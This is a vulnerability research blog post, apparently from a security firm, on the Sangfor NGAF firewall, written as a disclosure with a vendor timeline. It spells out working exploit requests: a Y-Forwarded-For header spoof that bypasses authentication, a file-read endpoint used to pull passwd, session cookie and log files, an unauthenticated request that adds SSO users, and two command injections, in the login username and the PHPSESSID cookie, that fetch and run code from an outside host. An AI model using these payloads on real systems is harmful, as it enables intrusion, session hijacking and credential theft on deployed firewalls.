Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

You’re likely seeing a trend - yes, we know, we look at a lot of enterprise-grade software and appliances. Today, we’re not here to change your expectations of us - we’re looking at more enterprise-grade software and appliances.

Today, we’re looking at Sangfor’s Next Gen Application Firewall (NGAF).

Sangfor (or, Sangfor Technologies) is a "Chinese manufacturer of network equipments including WAN optimization, Next-Generation Firewall, and SSL VPN, sells its products mainly to midsize enterprises".

Sangfor describe themselves as being the right-place for “effective cybersecurity and efficient enterprise cloud solutions”. We know this (in addition to ‘because they say it on their website’), because “At Sangfor, we believe in providing only the best IT architecture and security solutions for our clients”.

Here’s a little from Sangfor about their NGAF:

“Sangfor NGAF is the world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero. It is a truly secured, integrated and simplified firewall solution, providing a holistic overview of the entire organization's security network, with ease of management for administration, operation & maintenance.”

Brilliant.

Before you go on this journey with us, we want to be explicitly clear - Sangfor has told us all the vulnerabilities in this blog post are either a) already fixed or b) false-positives. We're not claiming 0days. Therefore, we are thrilled to share our analysis of old vulnerabilities and what we are led to believe (by Sangfor) is intentional behaviour by design, and ultimately are just glad we didn’t need to apply our 90-day disclosure policy.

Inquisitive minds might say “where are the public advisories to warn clients of these already existing and patched vulnerabilities?”. Inquisitive minds might also ask how such vulnerabilities ever made their way into production, security appliances in the first place? Luckily, we are not inquisitive and are happy to not question these mundane things.

Anyway, we digress. As obsessive readers of our blog posts will know, we regularly target enterprise technology that we see in the attack surfaces of the organisations we are proud to work with.

Obsessive readers will also be familiar with our deep obsession with secure firewall and VPN appliances - we’re not full of imagination, we just want our entry point into networks.

Looking for fish

In previous blog posts, we’ve shown in quite some detail the extensive steps taken to break an application - the extraction of HTTP routes, hunting of parameters, and how we qualify portions of functionality as ‘of interest’ in the target software we’re breaking. However, before all that can take place, a decision has to be made - is the target of interest, and worth an investment of time at all?

This type of decision can be influenced by widely varying factors, such as code complexity, real-world impact, security transparency (ha ha), and in this particular case, the ‘hacker sixth sense’ - does it exude the tell-tale of potentially weak software?

Sangfor’s NGAF caught our attention as a potential target for research, mostly due to its lack of CVE disclosures. This usually indicates that either the security community has yet to pillage its code, the appliance in question truly is secure or the ever more likely answer - a bug bounty program littered with NDAs and similar type agreements mystifies the security process!

We were able to gain access to an image of Sangfor's NGAF on AWS via https://aws.amazon.com/marketplace/pp/prodview-uujwjffddxzp4 using the build version AF8.0.17.364.

Based on redirect behaviour, port and server banner iis8.0

Before getting into the grimey depths of code and workflows, theres a variety of tips n tricks we can use from a bird eye view to calculate the ‘pot odds’ of success. These ‘pot odds’ will help us decide how likely we are to find a bug, and thus, how much time and effort we should spend auditing the target.

Much to many critics dismay, the first ‘tell’ we see in the codebase is the fact that this supposedly “Next Generation” appliance utilises a mixture of PHP and C++ CGI binaries. We’ve previously seen how custom PHP applications can end in security heartache, and you only have to look at our recent deep dive into Juniper Firewalls for an example - but don’t take our word for it, even Sangfor’s developers have a poor opinion of PHP and we couldn’t agree more.

It’s also interesting to note that codebases that contain such profanity are a ‘tell’ in themselves - the developers either didn’t intend this code to be viewed by the public, or simply didn’t care about looking unprofessional - in our opinion.

Clearly, our ‘pot odds’ are looking pretty good.

When server-side becomes client-side..

Other than looking for profanity and comments within the application's code base, we first just give the appliance the proverbial kicking of the tires.

As we get a feel for the appliance, we begin to probe for interesting behaviour that might reveal inner workings of the tech stack and architecture of the solution.

Very quickly, we stumble into a ‘tell’ to raise the bet significantly on the Sangfor NGAF.

When making a request for the target server’s PHP files, should a non-numeric value be present in the Content-Length header, the server responds with a HTTP Status 413 (”content too large”). This isn’t out of the ordinary, however, what is out of the ordinary is that the server side source code (PHP) is dumped within the response (??):

curl --insecure  https://<host>:85/index.php -H "content-Length:asdf"
HTTP/1.1 413 Request Entity Too Large
Date: Tue, 03 Oct 2023 10:08:06 GMT
Server:       
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/index.php<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
</body></html>
<?php 
/*
 * @Func:	所有的请求都用apache服务器mod_rewrite模块改写URL规则,重新定向到这个php文件
 */
session_start();

//统一使用webapps作为根目录定位其它文件
require_once("../class/common/conf/config_inc.php");
if(SANGFOR_LANGUAGE == 'en.UTF-8') {
	require_once("../conf/lang/eng.utf8.lang.app.php");
}

else {
	require_once("../conf/lang/chs.utf8.lang.app.php");
}

//判断是否存在硬盘
if(@file_exists("/etc/sinfor/log/diskerror.log")) {
	header("Content-Type:text/html; charset=utf-8");
	echo LOG_DISK_ERROR;
	exit(0);
}

//对于高端母盘设备ssd+hdd判断hdd是否异常
if(@file_exists("/etc/sinfor/log/adv_diskerror.log")) {
	header("Content-Type:text/html; charset=utf-8");
	echo LOG_DISK_ERROR;
	exit(0);
}

require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");

$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();
?>

A few hours later, after staring hard at our screens, we made a decision that this is probably not intended (Sangfor disagreed).

As an educated guess, what we’re most likely looking at is an integer handling issue that happens somewhere in the CGI handler. Unfortunately typically sensitive files (a config.php, etc) that would be useful in a vulnerability primative of this type for escalating access, were not.

Whilst the above behaviour was of interest, we didn’t find ourselves satisfied with the level of mayhem achieved - but did feel that we’d proven to ourselves that this appliance had likely met the bar for ‘interesting’. Thus, it was time to dig in.

Shuffle up and deal

For our friends following along at home we quickly enumerated services exposed using the command: lsof -nP -i | grep LISTEN from a local shell on the NGAF. As a tl;dr, we were able to see that we have two HTTPS services open, listening on 0.0.0.0;

  • Port 85/TCP, running the ‘Firewall Report Center’, and ,
  • Port 4433/TCP, running the ‘Administrator Login Portal’.

Naturally, we dived into port 85/TCP .

Mapping out entry points into this service - defined within an Apache config located at /etc/apache/conf.new/original/httpd.conf .

When looking to understand the metaphorical attack surface exposed by an appliance and specifically within Apache web server config files, we look for Location, ScriptAlias and Alias directives. Doing so usually provides us with a nice list of endpoints and exposed directories, and indeed in the case of this secure, hardened AI-powered Sangfor device, the presented results include a rich list of possibilities:

Alias /icons/ "/virus/apache/apache/icons/"
Alias /bbc "/virus/webui/ext/fast_deploy.html"
Alias /manual/ "/virus/apache/apache/htdocs/manual/"
Alias /cgi-bin/ "/virus/webui/cgi-bin/"
Alias /svpn_html/ "/virus/webui/svpn_html/"
Alias /proxy.html "/virus/webui/ext/login.php"
Alias /proxy_cssp.html "/virus/webui/ext/login.php"

However, attempting to access any of these items resulted in redirection to authenticate - at LogInOut.php.

Post-authentication bugs are not of interest to us though - we have a higher-calling for pre-authenticated vulnerabilities only. Time to look at the Apache config again.

Further analysis of this config reveals a RewriteRule rule, which rewrites all requests to index.php, which contains several require ’s and more importantly - a call to a controller class.

require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");

$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();

This controller class is what handles our application-level routing. It is all mapped out in CFrontController.php, where we can see endpoints and the corresponding Controller functions associated with each:

None of these are directly accessible via the web interface without first authenticating, so it’s time to look at the function that invokes these. That’s the dispatchRequest() function.

Within seconds of looking at this, we see our next point of interest - the function’s inclination to check for authentication before forwarding the request.

We can see an IF condition which checks $_SERVER['REMOTE_ADDR'] (ie, the client’s IP address) against the value of 127.0.0.1 (localhost), and should this match, then the boolean $t_boolNeedCheck is set to false and the rest of the redirect logic is bypassed.

Conditional authentication at its finest.

public function dispatchRequest()
	{
		$t_objController = $this->getControllerInstance();
		if($t_objController) {
			//是否需要判断跨站攻击,一般登录页面不需要判断跨站攻击
			if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')
				$t_boolNeedCheck = false;
			else
				$t_boolNeedCheck = true;
			if(isset($t_objController->m_boolNeedCheck))
				$t_boolNeedCheck = $t_objController->m_boolNeedCheck;
			//防止跨站攻击
			if($this->isAuthUser() && strcmp($_SERVER['REMOTE_ADDR'],"127.0.0.2") != 0 && !isset($_REQUEST['scinfo']) && !isset($_REQUEST['sd_t']) && (!isset($_GET['sid']) || $_GET['sid'] != session_id()) && $t_boolNeedCheck)
			{
				//要设置t_boolNeedCheck = false,要不会有重定向死循环
				CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
				exit(0);
			}
			$t_fStartTime = $this->costMicroTime();
			$t_strResult = $t_objController->action($this->m_objConf, $this->m_arrReturn);
			$t_fEndTime = $this->costMicroTime();
			$t_fTotal = $t_fEndTime - $t_fStartTime;
			
			CMiscFunc::printMsg($t_fTotal);
			return true;
		}
		CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
		return false;
	}

Can we, as external attackers, control the IP address that PHP sees, or are there opportunities for SSRF-type vulnerabilities that we can use to bypass this bastion-of-strength security control?

Well, in the real world, there are a few headers that might facilitate this - such as X-Forwarded-For and X-Real-Ip HTTP request headers, but experimentation proved these to have no effect.

Once again, referring back to the httpd.conf, we can see an unusual but suspicious directive - RPAFheader Y-Forwarded-For. This directive, which is loaded from the module mod_rpaf, allows clients to set their ‘remote’ IP address… useful. Probably intended functionality, we thought to ourselves.

A quick test of a request involving Y-Forwarded-For: 127.0.0.1 shows that we are no longer redirected to the login page when making an unauthenticated request.

Shazam! Our first stage in a potential vulnerability chain is hit, as this opens up a “whole new world” of application attack surface for us - all of the Alias’s defined within the Apache config.

For example, the previously-inaccessible /vmp_getinfo becomes within our grasp:

curl --insecure  https://<host>:85/vmp_getinfo -H "Y-Forwarded-For: 127.0.0.1"
This is an after thought but we had spent some time thinking about the actual purpose of this setting as it’s not used anywhere within the code. Perhaps it was utilised during testing or had some initial purpose removed from later versions? We’ll leave this idea with yourselves but you know, computers and code aren’t magic.

Show me just a bit more..

Armed with interesting behaviour up our sleeve, it’s time to set out and see where next we’ll go?

Heading back to the Apache config file, there’s an interesting Alias directive set - /svpn_html/ "/virus/webui/svpn_html/” - which presents a much larger set of application code and functionality to kick.

loadfile.php caught our attention, which accepts a single parameter file, parses it’s path, reads the contents, and writes to the response. Looks like an easy win for an Arbitrary File Read:

<?php
function get_basename($filename){
    return preg_replace('/^.+[\\\\\\\\\\\\/]/', '', $filename);
}
$file = addslashes($_GET['file']);

echo $file;
//add by 1w
$file_path = pathinfo($file);

$extname = $file_path ['extension'];
$filename = "";

if (!file_exists($file)) {
    die("File Not found");
}
$filename = get_basename($file);

$ua = $_SERVER["HTTP_USER_AGENT"];
header('Content-type: application/octet-stream');
if (preg_match("/Firefox/", $ua)) {
    header('Content-Disposition: attachment; filename*="utf8\\'\\'' . $filename . '"');
} else {
    header('Content-Disposition: attachment; filename="' . urlencode($filename) . '"');
}
readfile($file);

if($needDelete) {
    @unlink($file);
}
?>
curl --insecure  https://<host>:85/svpn_html/loadfile.php?file=/etc/./passwd -H "y-forwarded-for: 127.0.0.1"

Kapow! Progress is good.

Just a reminder that this is the "world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero".

Whilst it’s always a glorious screenshot to hit that /etc/passwd we wanted to see what was the maximum impact that could be accrued for our fellow readers. Short of finding cleartext credentials we did discover a number of files which show live PHPSESSID, so we could hijack sessions, theres a whole selection of them to take your pick from:

/etc/sinfor/DcUserCookie.conf
/etc/en/sinfor/DcUserCookie.conf
/config/etc/sinfor/DcUserCookie.conf
/config/etc/en/sinfor/DcUserCookie.conf

If you’re still looking for easier ways of gaining access as a live Administrator, you could just peak into the Apache Access Logs and see the cookies passed via GET requests. Bug Triagers will be in shambles at this “low” finding but here we are chilling as Admins.

/virus/apache/apache/logs/access_log

Editors note: we feel like the unofficial sysadmins of certain countries at this point (and I hope someone gets the reference).

The turn

It’s at this moment we had to stop and give pause. How could a “Next Generation” Application Firewall have such an easy, low-hanging vulnerability? Is it possible that this is truly so innovative and next-generation that we’re seeing new things?

Well, for now we’re happy to accept it - our chances of finding the Holy Grail of unauth Remote Command Execution just increased, and it is now time to go all in with our hand.

Looking further through the cursed mess of PHP files, the next file to catch our eye is HttpHandler.php, which presents AJAX like functionality. It expects two request parameters, controler and action, and uses them to invoke a controller class and a public function as specified:

public function process()
	{
		try
		{
    		$controller=$_REQUEST["controler"];
    		$action=$_REQUEST["action"];

    		$this->validPara($controller, 'AjaxReq_NoConctroler');
    		$this->validPara($action, 'AjaxReq_NoAction');
    		$controller = $controller."Controller";

    		//反射controller类信息
    		$classInfo = new ReflectionClass($controller);

    		//创建controller类实例
    		$instance=$classInfo->newInstance();

    		//反射得到action方法
    		$methodInfo = $classInfo->getMethod($action);

    		//反射得到action参数表
    		$parainfos=$methodInfo->getParameters();
    		$paras=array();

For example, should the device be domain connected, we can retrieve the configuration data via /svpn_html/delegatemodule/HttpHandler.php?controler=ExtAuth&action=GetDomainConf&id=3

HTTP/1.1 200 OK
Date: Wed, 13 Sep 2023 08:47:12 GMT
Server:

X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=k0bo7srcg6kbsotog2qnrhpns2; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 303
Connection: close
Content-Type: text/html

{"code":0,"success":true,"result":{"devName":"**<redacted>**","svrDomainName":"","logSvrDomain":"","domainComputer":"","srvDomainAddr":"","domainUserName":"","domainUserPwd":"","enableDomain":0,"eanbleDomainAuth":0},"message":"Operation success","readOnlyInfo":{"enable_ids":"","disable_ids":"","readonly":1}}

Yes, really.

In total, there are 20 controllers and over a hundred functions to audit. Unfortunately for us, though, the majority of public functions that seem to have interesting behaviour also check for “proper” (i.e. in addition to the ‘source IP’) authentication and we’re once again redirected to a login page (with no bypass this time).

We did find one ‘write’ function that lacked authentication checks, allowing us to write to an SQLite database and create new SSO Users for the SSL VPN. We'll leave it to your imagination as to the impact of this.

Funnily enough, it was also vulnerable to an SQL injection, but since the underlying DBMS was SQLite, this was of limited utility for RCE.

POST /svpn_html/delegatemodule/HttpHandler.php HTTP/1.1
Host: 
Y-Forwarded-For: 127.0.0.1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

controler=User&action=SetUserSSOInfo&userid=watchTowr&rcids=0&ssouser=watchTowr&ssopwd=watchTowr

After spending a considerable amount of time auditing the appliance, we had;

  • Authentication Bypass
  • Source Code Disclosure
  • Local File Read
  • The ability to add our own SSO users
  • The ability to dump Active Directory configuration information, including username and password.

But, we were at a loss. Is Remote Command Execution going to evade us? Is this device truly secure?

Colluding with Pspy

At this point in the process, it was time to reassess our clearly failing approach. We needed more transparency to make sense of the code interacting with the system.

With most applications like this, the prominent injection types are Command and SQL. Perhaps we can enhance visibility in these areas by enabling Trace logs in the database configurations or by grep’ping all OS commands taking place?

Looking through the various classes we can see that developers like to execute shell commands using shell_exec , exec and popen . The code is a little bit of a forest to trace, and so we used pspy to assist.

Pspy is a useful little tool, often used by CTF teams, which will sit in the background and log all processes being spawned and their arguments - very good for spotting command injection, which we suspected would be the quickest route to RCE.

Placing the pspy binary on the target box, along with the grep command, allows visibility into what was being spawned by the Apache process:

After running this through all the controllers and functions again, we were still unable to locate any clear points of injection. At this point after exhausting the codebase for this service, we decided to take a break and give up (ha ha).

Here’s a good example of getting lucky - while authenticating as normal, some divine force nudged our fingers and we accidentally typed the wrong username. We still had pspy observing processes, and our eyes widened as we saw:

As you can see in the pspy capture above, the username Admi is passed directly into a shell command… could it be possible to inject our own commands into the username parameter on the login page?

Surely this is not plausible… a run-of-the-mill scanner, pentester, or bounty hunter would have picked it up, surely? Good job CAPTCHA.

Looking through the file CFWLogInOutDAO.php we can find the remoteLogin() function responsible for this:

public function remoteLogin(&$in_arrSearchCondition)
	{
		$userName = $in_arrSearchCondition ['user_name'];
		$passwd = $in_arrSearchCondition ['password'];
        //rsa的解密
		$t_strMD5 = $this->decrypt($passwd);		
		$fp = popen("/usr/sbin/remoteLogin remoteLogin $userName $t_strMD5", "r");
		$retResult = fread($fp, 20);
		pclose($fp);
		if ($retResult == "retLoginSuccess") {
			$in_arrSearchCondition ['user_name'] = $userName."_remote_";
			$t_strUserName = addslashes($in_arrSearchCondition ['user_name']);
			$t_strSQL = "SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = '$t_strUserName' AND status = 1 LIMIT 1";
			return $this->setSession($t_strSQL);
		}
		return false;
	}

Ironically, the developers call addslashes() on the username before processing within in a SQL statement, but no sanitisation before using it within the popen() function. Oops!

After some time playing around, we realised it was not possible to inject just any old special character in the username, as quotes and backticks (and even the logical operators || and &&) were not allowed due to mod_security. However, we noticed it could truncate the command with a semicolon.

Being the attention-seekers that we are, we wanted magical output that showed execution of the command from a single HTTP request to response - and thus, we had to get creative. The response details a static error message which is declared within the file /virus/dcweb/conf/lang/eng.utf8.lang.app.php .

Our new life goal was to write a command that outputs to this error message. Typically (we like this word), you would use some kind of encoding to get around the ‘ “ and mod_security limitations but base64 and xxd are not available on the appliance. To circumvent this we went with the following path to a winning hand:

  1. Hosting the payload externally on an HTTP server
  2. Fetch the payload using wget
  3. Execute the payload via source - We thought it was cooler than .
  4. sed replace the error message with the value of $(id)

What we’re left with is this awesome screenshot showing the win all in one place:

Request:

POST /LogInOut.php HTTP/1.1
Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 625

type=logged&un=watchTowr;wget http://<host>/cmd.txt;source /virus/dcweb/webapps/cmd.txt&up=0f2df0a6f151e836c8ccd1c2ea3bfbdfb7bfa0d38d438942492bd8f28f3e92939319f932f2f2add6d0d484accdc4c28269b203c4dc77c1da941fa19dae017d44d6ea8cad2572e37c485a8ebcb4bdb510cc86420a50ae45ae07daf5fe9c40fe133f3806cd8f3158ee359766e8e19c9fbbf7e888bf0d7f3952f4d083bd17cd19eb960dadec2835f6f259616f5b2e5942d3a4d1754cbd69696fae60ef18358bf5782dd5ebf377f5642e0583e630660ccac241a615ae21bfc12852a32d0367a899eb010e5d1c33669fc2e9ea3a0ecbf078c22120196a115b4038288063bf99610d3d331acb53e5c8fbd14229a4abdff83cf075a7b97a9bb9dae3586f19256f4262d5&vericode=<correct captcha>

Cmd.txt Payload: sed -i s/Lock/"$(id)"/g /virus/dcweb/conf/lang/eng.utf8.lang.app.php

Response:

HTTP/1.1 200 OK
Date: Thu, 05 Oct 2023 07:46:53 GMT
Server:       
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate, no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 139
Connection: close
Content-Type: text/html

Error: uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) is triggered by too many login failures. Please try again 5 minute later!

Rabbit hunting

While it’s every researchers dream to find RCE, it is also quite disheartening to find such a simple bug waiting for discovery. One would expect that achieving RCE would require a beautiful chain of 2 or 3 vulnerabilities, using authorization bypasses, PHP object injection, and all sorts of other malarkey.

You can imagine the disappointment at how easy it was to achieve the big RCE in this appliance.

Just a reminder that this is the "world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero".

We decided to give the appliance a second chance - perhaps some in-the-wild have port 85/TCP firewalled, and only 4433/TCP open. That would give us our chance to concoct a more sophisticated attack path, and gain more attention/Internet points.

The attack surface is slightly different on port 4433, in that the native flow authenticates via a C++ CGI file rather than via PHP. We toyed with the idea of spending our evenings in Ghidra analysing it, but the thought crossed our minds that perhaps the same developer who designed the login PHP script on port 85/TCP also developed the CGI modules, and maybe.. just maybe...

Inspired with that thought, we attempted the login flow with pspy still running. Using the same principle, we attempted to login with an incorrect username… lo and behold, another shell command is executed in a slightly different format. It is quite clear that the Cookie PHPSESSIONID was being used within an echo command to a temporary file.

POST /cgi-bin/login.cgi HTTP/1.1
Host: 
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: Application/X-www-Form
Connection: close
Content-Length: 113

 {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "Y92N" , "privacy_enable": "0"}}

Pspy captures:

CMD: UID=65534 PID=31595  | sh -c echo loginmain.cpp is_vericode_vaild 1982 get the file : /tmp/sess_2e01d2ji93utnsb5abrcm780c2 context is failed errno : No such file or directory >> /tmp/login.log

As the value is taken from a cookie we’re unable to inject semicolons to truncate the command (or URL encode them). Instead, by utilising backticks (which are allowed this time) we could create our own variable and evaluate the contents inside brackets. Unfortunately there’s no beautiful sed output to be used here so you’ll have to settle with an out of bound request🙂

POST /cgi-bin/login.cgi HTTP/1.1
Host: 
Cookie: PHPSESSID=`$(wget host)`;
Content-Type: Application/X-www-Form
Connection: close

 {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "EINW" , "privacy_enable": "0"}}

Ouch. RCE once again.

Just a reminder that this is the "world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero".

The house ALWAYS wins

After amassing our fortune of vulnerability chips at the table, we had approached Sangfor’s technical team ready to cash out.

After a few exciting back and forth emails, we never managed to speak directly with the security team - but to the security team via technical support.

Sangfor’s team claimed to be either be fully aware of the issues, with patches already distributed, or unable to validate our findings, citing “false positives”. Perhaps we were swindled by the players next to us and ended up with unpublished N-days.

Either way, it was fun. We'll let you conclude in your own minds what may have, or may not, have happened.

Conclusion

When bounty hunters, researchers, or pentesters alike look at attack surfaces for vulnerabilities, its often an unsaid assumption that appliances such as firewalls and VPN’s are hardened, usually due to internal security review processes as well as competition with other individuals across multiple enterprises external processes.

Editors note: And the fact that they say 'security' and 'secure' across them, I guess.

It should go without saying that low-hanging fruit as demonstrated above should be non-existent in 2023 AD, a year in which we hoped that the investment required to discover real, impactful vulnerabilities had sharply increased. We hope this write-up changes that mindset - even an entry-level offensive-security lab course is very relevant for a widely-used and ‘next generation’ product such as this one.

By now, regular readers will be well aware that we love picking on such ‘hardened’ appliances here at watchTowr. Indeed, with bugs like these, it’s hard not to be interested - we’d encourage everyone with an interest in bug-hunting to pick up their nearest ‘next generation’ or ‘enterprise-grade’ firewall or VPN endpoint and start tearing it to pieces.

The real lesson here, for network defenders, is that we can’t assume these hardened devices are, well, hardened at all. Nothing beats network segmentation and the principle of least privilege, despite what the salesperson may tell you.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

DateDetail
13th September 2023Vulnerability discovered
14th September 2023Requested security contact for Sangfor
18th September 2023Received security contact, disclosed to Sangfor
18th September 2023watchTowr hunts through client's attack surfaces for impacted systems, and communicates with those affected.
26th September 2023Sangfor responds with each item:
- Authentication Bypass - False positive per Sangfor
- Local File Read - (Internally known issue - patch released(where?))
- Command Injection - (Internally known issue - patch released(where?))
- Source Code Disclosure - False positive per Sangfor
- SSO User Add/SQLite Injection - False positive per Sangfor
5th October 2023Blogpost and PoCs released to public